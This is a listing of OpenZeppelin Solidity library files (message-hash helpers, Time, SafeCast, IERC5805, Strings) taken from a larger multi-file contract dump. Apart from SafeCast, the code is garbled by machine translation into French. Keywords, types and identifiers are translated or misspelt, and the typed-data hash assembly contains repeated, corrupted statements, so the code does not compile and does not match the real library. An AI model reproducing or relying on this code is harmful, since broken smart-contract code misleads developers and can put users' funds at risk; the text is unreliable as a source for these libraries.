{ecdsa-recover}.* / Fonction ToethSignedMessageHash (Bytes32 MessageHash) Internal Pure Returns (Bytes32 Digest) {/// @Solidity Memory-SAPE-Assembly Assembly {MSTORE (0x00, "\ x19ethereum Signed Message: \ n32") // 32 est la longueur des bocytes.de MessageHash mstore (0x1c, messagehash) // 0x1c (28) est la longueur du préfixe digest: = keccak256 (0x00, 0x3c) // 0x3c est la longueur du préfixe (0x1c) + messageshash (0x20)}} / ** * @DEV Renvoie le digest Keccak256 d'un EIP-191 Signed Data avec la version * `0x45` (` Messages personnels_sign`).* * Le digest est calculé en préfixant un `message` arbitraire avec *` "\ x19ethereum Message signé: \ n" + len (message) `et hachant le résultat.Il correspond au hachage * signé lors de l'utilisation du https://eth.wiki/json-rpc/API#eth_sign [`Eth_sign`] JSON-RPC.* * Voir {ecdsa-recover}.* / Fonction TOetHSignedMessageHash (Message de mémoire Bytes) Renvoie pur interne (bytes32) {return keccak256 (bytes.concat ("\ x19ethereum Message signé: \ n", bytes (strings.tostring (message.length)), message));} / ** * @DEV Renvoie le digestion Keccak256 d'une données signées EIP-191 avec la version * `0x00` (données avec validateur prévu).* * Le digest est calculé en préfixant une `données 'arbitraire avec` "\ x19 \ x00" `et l'adresse *` Validator` prévue.Puis hachant le résultat.* * Voir {ecdsa-recover}.* / fonction todataWitHitEndValidatorHash (Validator d'adress, données de mémoire des octets) Retours purs internes (bytes32) {return keccak256 (abi.encodepacked (hex "19_00", validator, données));} / ** * @DEV Renvoie le digestion Keccak256 d'une données typées EIP-712 (version EIP-191 `0x01`).* * Le digest est calculé à partir d'un `DomainSeparator` et d'un` Strurthash`, en les préfixant avec * `\ x19 \ x01` et en hachant le résultat.Il correspond au hachage signé par le * https://eips.ethereum.org/eips/eip-712 [`Eth_signTypedData`] JSON-RPC dans le cadre de EIP-712.* * Voir {ecdsa-recover}.* / fonction totypedDatahash (bytes32 domainseparator, bytes32 Structhash) Internal pur returns (bytes32 digest) {/// @solidity memory-sate-asmembly assembly {let ptr: = mload (0x40) mstore (ptr, hex "19_01") mstore (0x40) mstore (ptr, hex "19_01") mstore (0x40) Mstore (ptr, hex "19_01") mstore (0x40)Add (ptr, 0x02), domainseparator) mStore (add (ptr, 0x22), Structhash) digest: = keccak256 (ptr, 0x42)}}}
Fichier 21 sur 28: Time.sol
// SPDX-license-identificateur: MIT // Contrats Openzeppelin (Dernière mise à jour v5.0.0) (utils / types / time.sol) Pragma Solidity ^ 0.8.20; import {math} de "../math/math.sol"; Import {Safecast} de" ../math/safecast.sol" ;/** * @dev Cette bibliothèque fournit des aides pour manipuler des objets liés au temps.* * Il utilise les types suivants: * - `uint48` pour les points de time * -` uint32` pour les durées * * Bien que la bibliothèque ne fournit pas de types spécifiques pourreprésenter la durée qui peut être programmée pour modifier automatiquement la valeur à un point donné * - Fonctions d'assistance supplémentaires * / Temps de la bibliothèque {Utilisation du temps pour *;/ ** * @DEV Obtenez l'horodatage du bloc en tant que point de time.* / Fonction TimeStamp () View interne returns (uint48) {return safecast.touint48 (block.timestamp);} / ** * @dev Obtenez le numéro de bloc comme un point de time.* / fonction BlockNumber () View interne returns (uint48) {return safecast.touint48 (block.number);} // ============================================================.===== Retard ==================================================================================== / ** * @DEV A `Delay` est une durée UInt32 qui peut être programmée pour modifier automatiquement la valeur à un point donné dans l'avenir *.Le TimePoint "Effect" décrit lorsque les transitions se produisent de la "vieille" valeur à la "nouvelle" valeur.* Cela permet de mettre à jour le retard appliqué à une certaine opération tout en conservant certaines garanties.* * En particulier, la fonction {mise à jour} garantit que si le retard est réduit, l'ancien retard s'applique toujours pour * un certain temps.Par exemple, si le retard est actuellement de 7 jours pour effectuer une mise à niveau, l'administrateur ne doit pas être en mesure de définir * le retard sur 0 et de mettre à niveau immédiatement.Si l'administrateur souhaite réduire le retard, l'ancien retard (7 jours) devrait * s'appliquer toujours pendant un certain temps.* * * Le type `retard` est de 112 bits de long et contient ce qui suit: * *` `` * |[Uint48]: Date d'effet (TimePoint) * ||[Uint32]: valeur avant (durée) * ↓ ↓ ↓ [Uint32]: valeur après (durée) * 0xaaaaaaaaaaabbbbbbbbbcccccccccc * `` `* * Remarque: les fonctions {get} et {withupdate} fonctionnent à l'aide de titres de titres.Les retards basés sur le numéro de bloc ne sont pas actuellement pris en charge.* / Le délai de type est uint112;/ ** * @dev enveloppez une durée en un retard pour ajouter la fonctionnalité "Update in the Future" Fonction * / fonction Todelay (Uint32 Durée) Internal Pure Returns (Delay) {return Delay.Wrap (durée);} / ** * @dev Obtenez la valeur à un timepoint donné plus la valeur en attente et effet TimePoint si il y a un changement * planifié après ce timepoint.Si le point de temps d'effet est 0, la valeur en attente ne doit pas être prise en compte.* / function _getfullat (Delay self, uint48 timepoint) private pur returns (uint32, uint32, uint48) {(uint32 valueFore, uint32 valluafter, uint48 effet) = self.unpack ();Effet de retour <= TimePoint?(Valuafter, 0, 0): (ValueFore, Valuafter, Effect);} / ** * @dev Obtenez la valeur actuelle plus la valeur en attente et effectez le temps de temps en cas de modification planifiée.Si le point de temps d'effet est 0, la valeur en attente ne doit pas être prise en compte.* / fonction getfull (Delay self) Internal View returns (uint32, uint32, uint48) {return _getfullat (self, horodatamp ());} / ** * @dev Obtenez la valeur actuelle.* / Fonction get (delay self) Internal View returns (uint32) {(uint32 Delay,,,) = self.getfull ();retard de retour;} / ** * @DEV Mettez à jour un objet de retard afin qu'il prenne une nouvelle durée après un point de time qui est automatiquement calculé pour * appliquer l'ancien retard au moment de la mise à jour.Renvoie l'objet de retard mis à jour et l'horodatage lorsque le * nouveau retard devient efficace.* / Fonction Withupdate (Delay self, uint32 newValue, uint32 Minsetback) Returns de vue interne (Delay UpdatedDelay, Uint48 Effect) {uint32 value = self.get ();Uint32 Souvain = UInt32 (math.max (MinSetback, valeur> newValue? Value - NewValue: 0));Effect = TimeStamp () + Retack;return (pack (valeur, newValue, effet), effet);} / ** * @dev diviser un délai en ses composants: ValueFore, ValueAfter et Effect (Transition TimePoint).* / Fonction Deback (Delay self) Internal Pure Returns (uint32 ValueBefore, Uint32 Valuafter, uint48 Effect) {Uint112 brut = delay.unwrap (self);Valuafter = uint32 (brut);ValueBefore = uint32 (brut >> 32);effet = uint48 (brut >> 64);return (valurefore, valoreafter, effet);} / ** * @Dev Emballez les composants dans un objet de retard.* / Function Pack (uint32 ValueBefore, Uint32 Valuafter, Uint48 Effet) Internal Pure Returns (Delay) {return Delay.Wrap ((uint112 (effet) << 64) | (uint112 (valeurfore) << 32) | Uint112 (valluast)));}}
Fichier 22 sur 28: Safecast.sol
// SPDX-License-Identifier: MIT// OpenZeppelin Contracts (last updated v5.0.0) (utils/math/SafeCast.sol)// This file was procedurally generated from scripts/generate/templates/SafeCast.js.pragma solidity ^0.8.20;/** * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow * checks. * * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can * easily result in undesired exploitation or bugs, since developers usually * assume that overflows raise errors. `SafeCast` restores this intuition by * reverting the transaction when such an operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */library SafeCast { /** * @dev Value doesn't fit in an uint of `bits` size. */ error SafeCastOverflowedUintDowncast(uint8 bits, uint256 value); /** * @dev An int value doesn't fit in an uint of `bits` size. */ error SafeCastOverflowedIntToUint(int256 value); /** * @dev Value doesn't fit in an int of `bits` size. */ error SafeCastOverflowedIntDowncast(uint8 bits, int256 value); /** * @dev An uint value doesn't fit in an int of `bits` size. */ error SafeCastOverflowedUintToInt(uint256 value); /** * @dev Returns the downcasted uint248 from uint256, reverting on * overflow (when the input is greater than largest uint248). * * Counterpart to Solidity's `uint248` operator. * * Requirements: * * - input must fit into 248 bits */ function toUint248(uint256 value) internal pure returns (uint248) { if (value > type(uint248).max) { revert SafeCastOverflowedUintDowncast(248, value); } return uint248(value); } /** * @dev Returns the downcasted uint240 from uint256, reverting on * overflow (when the input is greater than largest uint240). * * Counterpart to Solidity's `uint240` operator. * * Requirements: * * - input must fit into 240 bits */ function toUint240(uint256 value) internal pure returns (uint240) { if (value > type(uint240).max) { revert SafeCastOverflowedUintDowncast(240, value); } return uint240(value); } /** * @dev Returns the downcasted uint232 from uint256, reverting on * overflow (when the input is greater than largest uint232). * * Counterpart to Solidity's `uint232` operator. * * Requirements: * * - input must fit into 232 bits */ function toUint232(uint256 value) internal pure returns (uint232) { if (value > type(uint232).max) { revert SafeCastOverflowedUintDowncast(232, value); } return uint232(value); } /** * @dev Returns the downcasted uint224 from uint256, reverting on * overflow (when the input is greater than largest uint224). * * Counterpart to Solidity's `uint224` operator. * * Requirements: * * - input must fit into 224 bits */ function toUint224(uint256 value) internal pure returns (uint224) { if (value > type(uint224).max) { revert SafeCastOverflowedUintDowncast(224, value); } return uint224(value); } /** * @dev Returns the downcasted uint216 from uint256, reverting on * overflow (when the input is greater than largest uint216). * * Counterpart to Solidity's `uint216` operator. * * Requirements: * * - input must fit into 216 bits */ function toUint216(uint256 value) internal pure returns (uint216) { if (value > type(uint216).max) { revert SafeCastOverflowedUintDowncast(216, value); } return uint216(value); } /** * @dev Returns the downcasted uint208 from uint256, reverting on * overflow (when the input is greater than largest uint208). * * Counterpart to Solidity's `uint208` operator. * * Requirements: * * - input must fit into 208 bits */ function toUint208(uint256 value) internal pure returns (uint208) { if (value > type(uint208).max) { revert SafeCastOverflowedUintDowncast(208, value); } return uint208(value); } /** * @dev Returns the downcasted uint200 from uint256, reverting on * overflow (when the input is greater than largest uint200). * * Counterpart to Solidity's `uint200` operator. * * Requirements: * * - input must fit into 200 bits */ function toUint200(uint256 value) internal pure returns (uint200) { if (value > type(uint200).max) { revert SafeCastOverflowedUintDowncast(200, value); } return uint200(value); } /** * @dev Returns the downcasted uint192 from uint256, reverting on * overflow (when the input is greater than largest uint192). * * Counterpart to Solidity's `uint192` operator. * * Requirements: * * - input must fit into 192 bits */ function toUint192(uint256 value) internal pure returns (uint192) { if (value > type(uint192).max) { revert SafeCastOverflowedUintDowncast(192, value); } return uint192(value); } /** * @dev Returns the downcasted uint184 from uint256, reverting on * overflow (when the input is greater than largest uint184). * * Counterpart to Solidity's `uint184` operator. * * Requirements: * * - input must fit into 184 bits */ function toUint184(uint256 value) internal pure returns (uint184) { if (value > type(uint184).max) { revert SafeCastOverflowedUintDowncast(184, value); } return uint184(value); } /** * @dev Returns the downcasted uint176 from uint256, reverting on * overflow (when the input is greater than largest uint176). * * Counterpart to Solidity's `uint176` operator. * * Requirements: * * - input must fit into 176 bits */ function toUint176(uint256 value) internal pure returns (uint176) { if (value > type(uint176).max) { revert SafeCastOverflowedUintDowncast(176, value); } return uint176(value); } /** * @dev Returns the downcasted uint168 from uint256, reverting on * overflow (when the input is greater than largest uint168). * * Counterpart to Solidity's `uint168` operator. * * Requirements: * * - input must fit into 168 bits */ function toUint168(uint256 value) internal pure returns (uint168) { if (value > type(uint168).max) { revert SafeCastOverflowedUintDowncast(168, value); } return uint168(value); } /** * @dev Returns the downcasted uint160 from uint256, reverting on * overflow (when the input is greater than largest uint160). * * Counterpart to Solidity's `uint160` operator. * * Requirements: * * - input must fit into 160 bits */ function toUint160(uint256 value) internal pure returns (uint160) { if (value > type(uint160).max) { revert SafeCastOverflowedUintDowncast(160, value); } return uint160(value); } /** * @dev Returns the downcasted uint152 from uint256, reverting on * overflow (when the input is greater than largest uint152). * * Counterpart to Solidity's `uint152` operator. * * Requirements: * * - input must fit into 152 bits */ function toUint152(uint256 value) internal pure returns (uint152) { if (value > type(uint152).max) { revert SafeCastOverflowedUintDowncast(152, value); } return uint152(value); } /** * @dev Returns the downcasted uint144 from uint256, reverting on * overflow (when the input is greater than largest uint144). * * Counterpart to Solidity's `uint144` operator. * * Requirements: * * - input must fit into 144 bits */ function toUint144(uint256 value) internal pure returns (uint144) { if (value > type(uint144).max) { revert SafeCastOverflowedUintDowncast(144, value); } return uint144(value); } /** * @dev Returns the downcasted uint136 from uint256, reverting on * overflow (when the input is greater than largest uint136). * * Counterpart to Solidity's `uint136` operator. * * Requirements: * * - input must fit into 136 bits */ function toUint136(uint256 value) internal pure returns (uint136) { if (value > type(uint136).max) { revert SafeCastOverflowedUintDowncast(136, value); } return uint136(value); } /** * @dev Returns the downcasted uint128 from uint256, reverting on * overflow (when the input is greater than largest uint128). * * Counterpart to Solidity's `uint128` operator. * * Requirements: * * - input must fit into 128 bits */ function toUint128(uint256 value) internal pure returns (uint128) { if (value > type(uint128).max) { revert SafeCastOverflowedUintDowncast(128, value); } return uint128(value); } /** * @dev Returns the downcasted uint120 from uint256, reverting on * overflow (when the input is greater than largest uint120). * * Counterpart to Solidity's `uint120` operator. * * Requirements: * * - input must fit into 120 bits */ function toUint120(uint256 value) internal pure returns (uint120) { if (value > type(uint120).max) { revert SafeCastOverflowedUintDowncast(120, value); } return uint120(value); } /** * @dev Returns the downcasted uint112 from uint256, reverting on * overflow (when the input is greater than largest uint112). * * Counterpart to Solidity's `uint112` operator. * * Requirements: * * - input must fit into 112 bits */ function toUint112(uint256 value) internal pure returns (uint112) { if (value > type(uint112).max) { revert SafeCastOverflowedUintDowncast(112, value); } return uint112(value); } /** * @dev Returns the downcasted uint104 from uint256, reverting on * overflow (when the input is greater than largest uint104). * * Counterpart to Solidity's `uint104` operator. * * Requirements: * * - input must fit into 104 bits */ function toUint104(uint256 value) internal pure returns (uint104) { if (value > type(uint104).max) { revert SafeCastOverflowedUintDowncast(104, value); } return uint104(value); } /** * @dev Returns the downcasted uint96 from uint256, reverting on * overflow (when the input is greater than largest uint96). * * Counterpart to Solidity's `uint96` operator. * * Requirements: * * - input must fit into 96 bits */ function toUint96(uint256 value) internal pure returns (uint96) { if (value > type(uint96).max) { revert SafeCastOverflowedUintDowncast(96, value); } return uint96(value); } /** * @dev Returns the downcasted uint88 from uint256, reverting on * overflow (when the input is greater than largest uint88). * * Counterpart to Solidity's `uint88` operator. * * Requirements: * * - input must fit into 88 bits */ function toUint88(uint256 value) internal pure returns (uint88) { if (value > type(uint88).max) { revert SafeCastOverflowedUintDowncast(88, value); } return uint88(value); } /** * @dev Returns the downcasted uint80 from uint256, reverting on * overflow (when the input is greater than largest uint80). * * Counterpart to Solidity's `uint80` operator. * * Requirements: * * - input must fit into 80 bits */ function toUint80(uint256 value) internal pure returns (uint80) { if (value > type(uint80).max) { revert SafeCastOverflowedUintDowncast(80, value); } return uint80(value); } /** * @dev Returns the downcasted uint72 from uint256, reverting on * overflow (when the input is greater than largest uint72). * * Counterpart to Solidity's `uint72` operator. * * Requirements: * * - input must fit into 72 bits */ function toUint72(uint256 value) internal pure returns (uint72) { if (value > type(uint72).max) { revert SafeCastOverflowedUintDowncast(72, value); } return uint72(value); } /** * @dev Returns the downcasted uint64 from uint256, reverting on * overflow (when the input is greater than largest uint64). * * Counterpart to Solidity's `uint64` operator. * * Requirements: * * - input must fit into 64 bits */ function toUint64(uint256 value) internal pure returns (uint64) { if (value > type(uint64).max) { revert SafeCastOverflowedUintDowncast(64, value); } return uint64(value); } /** * @dev Returns the downcasted uint56 from uint256, reverting on * overflow (when the input is greater than largest uint56). * * Counterpart to Solidity's `uint56` operator. * * Requirements: * * - input must fit into 56 bits */ function toUint56(uint256 value) internal pure returns (uint56) { if (value > type(uint56).max) { revert SafeCastOverflowedUintDowncast(56, value); } return uint56(value); } /** * @dev Returns the downcasted uint48 from uint256, reverting on * overflow (when the input is greater than largest uint48). * * Counterpart to Solidity's `uint48` operator. * * Requirements: * * - input must fit into 48 bits */ function toUint48(uint256 value) internal pure returns (uint48) { if (value > type(uint48).max) { revert SafeCastOverflowedUintDowncast(48, value); } return uint48(value); } /** * @dev Returns the downcasted uint40 from uint256, reverting on * overflow (when the input is greater than largest uint40). * * Counterpart to Solidity's `uint40` operator. * * Requirements: * * - input must fit into 40 bits */ function toUint40(uint256 value) internal pure returns (uint40) { if (value > type(uint40).max) { revert SafeCastOverflowedUintDowncast(40, value); } return uint40(value); } /** * @dev Returns the downcasted uint32 from uint256, reverting on * overflow (when the input is greater than largest uint32). * * Counterpart to Solidity's `uint32` operator. * * Requirements: * * - input must fit into 32 bits */ function toUint32(uint256 value) internal pure returns (uint32) { if (value > type(uint32).max) { revert SafeCastOverflowedUintDowncast(32, value); } return uint32(value); } /** * @dev Returns the downcasted uint24 from uint256, reverting on * overflow (when the input is greater than largest uint24). * * Counterpart to Solidity's `uint24` operator. * * Requirements: * * - input must fit into 24 bits */ function toUint24(uint256 value) internal pure returns (uint24) { if (value > type(uint24).max) { revert SafeCastOverflowedUintDowncast(24, value); } return uint24(value); } /** * @dev Returns the downcasted uint16 from uint256, reverting on * overflow (when the input is greater than largest uint16). * * Counterpart to Solidity's `uint16` operator. * * Requirements: * * - input must fit into 16 bits */ function toUint16(uint256 value) internal pure returns (uint16) { if (value > type(uint16).max) { revert SafeCastOverflowedUintDowncast(16, value); } return uint16(value); } /** * @dev Returns the downcasted uint8 from uint256, reverting on * overflow (when the input is greater than largest uint8). * * Counterpart to Solidity's `uint8` operator. * * Requirements: * * - input must fit into 8 bits */ function toUint8(uint256 value) internal pure returns (uint8) { if (value > type(uint8).max) { revert SafeCastOverflowedUintDowncast(8, value); } return uint8(value); } /** * @dev Converts a signed int256 into an unsigned uint256. * * Requirements: * * - input must be greater than or equal to 0. */ function toUint256(int256 value) internal pure returns (uint256) { if (value < 0) { revert SafeCastOverflowedIntToUint(value); } return uint256(value); } /** * @dev Returns the downcasted int248 from int256, reverting on * overflow (when the input is less than smallest int248 or * greater than largest int248). * * Counterpart to Solidity's `int248` operator. * * Requirements: * * - input must fit into 248 bits */ function toInt248(int256 value) internal pure returns (int248 downcasted) { downcasted = int248(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(248, value); } } /** * @dev Returns the downcasted int240 from int256, reverting on * overflow (when the input is less than smallest int240 or * greater than largest int240). * * Counterpart to Solidity's `int240` operator. * * Requirements: * * - input must fit into 240 bits */ function toInt240(int256 value) internal pure returns (int240 downcasted) { downcasted = int240(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(240, value); } } /** * @dev Returns the downcasted int232 from int256, reverting on * overflow (when the input is less than smallest int232 or * greater than largest int232). * * Counterpart to Solidity's `int232` operator. * * Requirements: * * - input must fit into 232 bits */ function toInt232(int256 value) internal pure returns (int232 downcasted) { downcasted = int232(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(232, value); } } /** * @dev Returns the downcasted int224 from int256, reverting on * overflow (when the input is less than smallest int224 or * greater than largest int224). * * Counterpart to Solidity's `int224` operator. * * Requirements: * * - input must fit into 224 bits */ function toInt224(int256 value) internal pure returns (int224 downcasted) { downcasted = int224(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(224, value); } } /** * @dev Returns the downcasted int216 from int256, reverting on * overflow (when the input is less than smallest int216 or * greater than largest int216). * * Counterpart to Solidity's `int216` operator. * * Requirements: * * - input must fit into 216 bits */ function toInt216(int256 value) internal pure returns (int216 downcasted) { downcasted = int216(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(216, value); } } /** * @dev Returns the downcasted int208 from int256, reverting on * overflow (when the input is less than smallest int208 or * greater than largest int208). * * Counterpart to Solidity's `int208` operator. * * Requirements: * * - input must fit into 208 bits */ function toInt208(int256 value) internal pure returns (int208 downcasted) { downcasted = int208(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(208, value); } } /** * @dev Returns the downcasted int200 from int256, reverting on * overflow (when the input is less than smallest int200 or * greater than largest int200). * * Counterpart to Solidity's `int200` operator. * * Requirements: * * - input must fit into 200 bits */ function toInt200(int256 value) internal pure returns (int200 downcasted) { downcasted = int200(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(200, value); } } /** * @dev Returns the downcasted int192 from int256, reverting on * overflow (when the input is less than smallest int192 or * greater than largest int192). * * Counterpart to Solidity's `int192` operator. * * Requirements: * * - input must fit into 192 bits */ function toInt192(int256 value) internal pure returns (int192 downcasted) { downcasted = int192(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(192, value); } } /** * @dev Returns the downcasted int184 from int256, reverting on * overflow (when the input is less than smallest int184 or * greater than largest int184). * * Counterpart to Solidity's `int184` operator. * * Requirements: * * - input must fit into 184 bits */ function toInt184(int256 value) internal pure returns (int184 downcasted) { downcasted = int184(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(184, value); } } /** * @dev Returns the downcasted int176 from int256, reverting on * overflow (when the input is less than smallest int176 or * greater than largest int176). * * Counterpart to Solidity's `int176` operator. * * Requirements: * * - input must fit into 176 bits */ function toInt176(int256 value) internal pure returns (int176 downcasted) { downcasted = int176(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(176, value); } } /** * @dev Returns the downcasted int168 from int256, reverting on * overflow (when the input is less than smallest int168 or * greater than largest int168). * * Counterpart to Solidity's `int168` operator. * * Requirements: * * - input must fit into 168 bits */ function toInt168(int256 value) internal pure returns (int168 downcasted) { downcasted = int168(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(168, value); } } /** * @dev Returns the downcasted int160 from int256, reverting on * overflow (when the input is less than smallest int160 or * greater than largest int160). * * Counterpart to Solidity's `int160` operator. * * Requirements: * * - input must fit into 160 bits */ function toInt160(int256 value) internal pure returns (int160 downcasted) { downcasted = int160(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(160, value); } } /** * @dev Returns the downcasted int152 from int256, reverting on * overflow (when the input is less than smallest int152 or * greater than largest int152). * * Counterpart to Solidity's `int152` operator. * * Requirements: * * - input must fit into 152 bits */ function toInt152(int256 value) internal pure returns (int152 downcasted) { downcasted = int152(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(152, value); } } /** * @dev Returns the downcasted int144 from int256, reverting on * overflow (when the input is less than smallest int144 or * greater than largest int144). * * Counterpart to Solidity's `int144` operator. * * Requirements: * * - input must fit into 144 bits */ function toInt144(int256 value) internal pure returns (int144 downcasted) { downcasted = int144(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(144, value); } } /** * @dev Returns the downcasted int136 from int256, reverting on * overflow (when the input is less than smallest int136 or * greater than largest int136). * * Counterpart to Solidity's `int136` operator. * * Requirements: * * - input must fit into 136 bits */ function toInt136(int256 value) internal pure returns (int136 downcasted) { downcasted = int136(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(136, value); } } /** * @dev Returns the downcasted int128 from int256, reverting on * overflow (when the input is less than smallest int128 or * greater than largest int128). * * Counterpart to Solidity's `int128` operator. * * Requirements: * * - input must fit into 128 bits */ function toInt128(int256 value) internal pure returns (int128 downcasted) { downcasted = int128(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(128, value); } } /** * @dev Returns the downcasted int120 from int256, reverting on * overflow (when the input is less than smallest int120 or * greater than largest int120). * * Counterpart to Solidity's `int120` operator. * * Requirements: * * - input must fit into 120 bits */ function toInt120(int256 value) internal pure returns (int120 downcasted) { downcasted = int120(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(120, value); } } /** * @dev Returns the downcasted int112 from int256, reverting on * overflow (when the input is less than smallest int112 or * greater than largest int112). * * Counterpart to Solidity's `int112` operator. * * Requirements: * * - input must fit into 112 bits */ function toInt112(int256 value) internal pure returns (int112 downcasted) { downcasted = int112(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(112, value); } } /** * @dev Returns the downcasted int104 from int256, reverting on * overflow (when the input is less than smallest int104 or * greater than largest int104). * * Counterpart to Solidity's `int104` operator. * * Requirements: * * - input must fit into 104 bits */ function toInt104(int256 value) internal pure returns (int104 downcasted) { downcasted = int104(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(104, value); } } /** * @dev Returns the downcasted int96 from int256, reverting on * overflow (when the input is less than smallest int96 or * greater than largest int96). * * Counterpart to Solidity's `int96` operator. * * Requirements: * * - input must fit into 96 bits */ function toInt96(int256 value) internal pure returns (int96 downcasted) { downcasted = int96(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(96, value); } } /** * @dev Returns the downcasted int88 from int256, reverting on * overflow (when the input is less than smallest int88 or * greater than largest int88). * * Counterpart to Solidity's `int88` operator. * * Requirements: * * - input must fit into 88 bits */ function toInt88(int256 value) internal pure returns (int88 downcasted) { downcasted = int88(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(88, value); } } /** * @dev Returns the downcasted int80 from int256, reverting on * overflow (when the input is less than smallest int80 or * greater than largest int80). * * Counterpart to Solidity's `int80` operator. * * Requirements: * * - input must fit into 80 bits */ function toInt80(int256 value) internal pure returns (int80 downcasted) { downcasted = int80(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(80, value); } } /** * @dev Returns the downcasted int72 from int256, reverting on * overflow (when the input is less than smallest int72 or * greater than largest int72). * * Counterpart to Solidity's `int72` operator. * * Requirements: * * - input must fit into 72 bits */ function toInt72(int256 value) internal pure returns (int72 downcasted) { downcasted = int72(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(72, value); } } /** * @dev Returns the downcasted int64 from int256, reverting on * overflow (when the input is less than smallest int64 or * greater than largest int64). * * Counterpart to Solidity's `int64` operator. * * Requirements: * * - input must fit into 64 bits */ function toInt64(int256 value) internal pure returns (int64 downcasted) { downcasted = int64(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(64, value); } } /** * @dev Returns the downcasted int56 from int256, reverting on * overflow (when the input is less than smallest int56 or * greater than largest int56). * * Counterpart to Solidity's `int56` operator. * * Requirements: * * - input must fit into 56 bits */ function toInt56(int256 value) internal pure returns (int56 downcasted) { downcasted = int56(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(56, value); } } /** * @dev Returns the downcasted int48 from int256, reverting on * overflow (when the input is less than smallest int48 or * greater than largest int48). * * Counterpart to Solidity's `int48` operator. * * Requirements: * * - input must fit into 48 bits */ function toInt48(int256 value) internal pure returns (int48 downcasted) { downcasted = int48(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(48, value); } } /** * @dev Returns the downcasted int40 from int256, reverting on * overflow (when the input is less than smallest int40 or * greater than largest int40). * * Counterpart to Solidity's `int40` operator. * * Requirements: * * - input must fit into 40 bits */ function toInt40(int256 value) internal pure returns (int40 downcasted) { downcasted = int40(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(40, value); } } /** * @dev Returns the downcasted int32 from int256, reverting on * overflow (when the input is less than smallest int32 or * greater than largest int32). * * Counterpart to Solidity's `int32` operator. * * Requirements: * * - input must fit into 32 bits */ function toInt32(int256 value) internal pure returns (int32 downcasted) { downcasted = int32(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(32, value); } } /** * @dev Returns the downcasted int24 from int256, reverting on * overflow (when the input is less than smallest int24 or * greater than largest int24). * * Counterpart to Solidity's `int24` operator. * * Requirements: * * - input must fit into 24 bits */ function toInt24(int256 value) internal pure returns (int24 downcasted) { downcasted = int24(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(24, value); } } /** * @dev Returns the downcasted int16 from int256, reverting on * overflow (when the input is less than smallest int16 or * greater than largest int16). * * Counterpart to Solidity's `int16` operator. * * Requirements: * * - input must fit into 16 bits */ function toInt16(int256 value) internal pure returns (int16 downcasted) { downcasted = int16(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(16, value); } } /** * @dev Returns the downcasted int8 from int256, reverting on * overflow (when the input is less than smallest int8 or * greater than largest int8). * * Counterpart to Solidity's `int8` operator. * * Requirements: * * - input must fit into 8 bits */ function toInt8(int256 value) internal pure returns (int8 downcasted) { downcasted = int8(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(8, value); } } /** * @dev Converts an unsigned uint256 into a signed int256. * * Requirements: * * - input must be less than or equal to maxInt256. */ function toInt256(uint256 value) internal pure returns (int256) { // Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive if (value > uint256(type(int256).max)) { revert SafeCastOverflowedUintToInt(value); } return int256(value); }}
Fichier 23 sur 28: IERC5805.SOL
// SPDX-license-identificateur: MIT // Contrats Openzeppelin (Dernière mise à jour V5.0.0) (Interfaces / IERC5805.Sol) Pragma Solidity ^ 0.8.20; import {ivotes} de "../governance/utils/ivotes.sol"; import {ierc6372} de" ./ierc6372.sol" ;interface ierc5805 est ierc6372, ivotes {}
Fichier 24 sur 28: Strings.sol
// SPDX-license-identificateur: MIT // Contrats OpenZeppelin (Dernière mise à jour v5.0.0) (utils / Strings.sol) Pragma Solidity ^ 0.8.20; import {math} de "./math/math.sol" ;IMPORT{SignedMath} de "./math/signedmath.sol" ;/** * @dev string opérations.* / Strings de la bibliothèque {Bytes16 Constant privé HEX_DIGITS = "0123456789ABCDEF";uint8 Private constante adresse_length = 20;/ ** * @dev La chaîne `Value` ne rentre pas dans la` Longueur '' spécifiée.* / Erreur StringSInsufficientHexLength (valeur uint256, longueur uint256);/ ** * @dev convertit une représentation décimale de sa représentation décimale ASCII «String».* / fonction toString (uint256 value) Internal Pure returns (String Memory) {Unchecked {Uint256 Length = Math.log10 (valeur) + 1;tampon de mémoire de chaîne = new String (longueur);uint256 ptr;/// @Solidity Memory-SAPE-Assembly Assembly {Ptr: = Add (Buffer, Add (32, Longueur))} while (true) {ptr--;/// @solidity Memory-Safe-assembly Assembly {mStore8 (ptr, byte (mod (valeur, 10), hex_digits))} value / = 10;if (value == 0) Break;} Retour tampon;}} / ** * @dev convertit un `int256` à sa représentation décimale ASCII« String ».* / fonction toStringSigned (int256 value) Internal Pure returns (String Memory) {return String.Concat (valeur <0? "-": "", toString (SignEdMath.abs (valeur)));} / ** * @dev convertit un `Uint256` à sa représentation hexadécimale ASCII` String`.* / fonction tohexstring (uint256 value) interne pur returns (string memory) {Unchecked {return tohexstring (value, math.log256 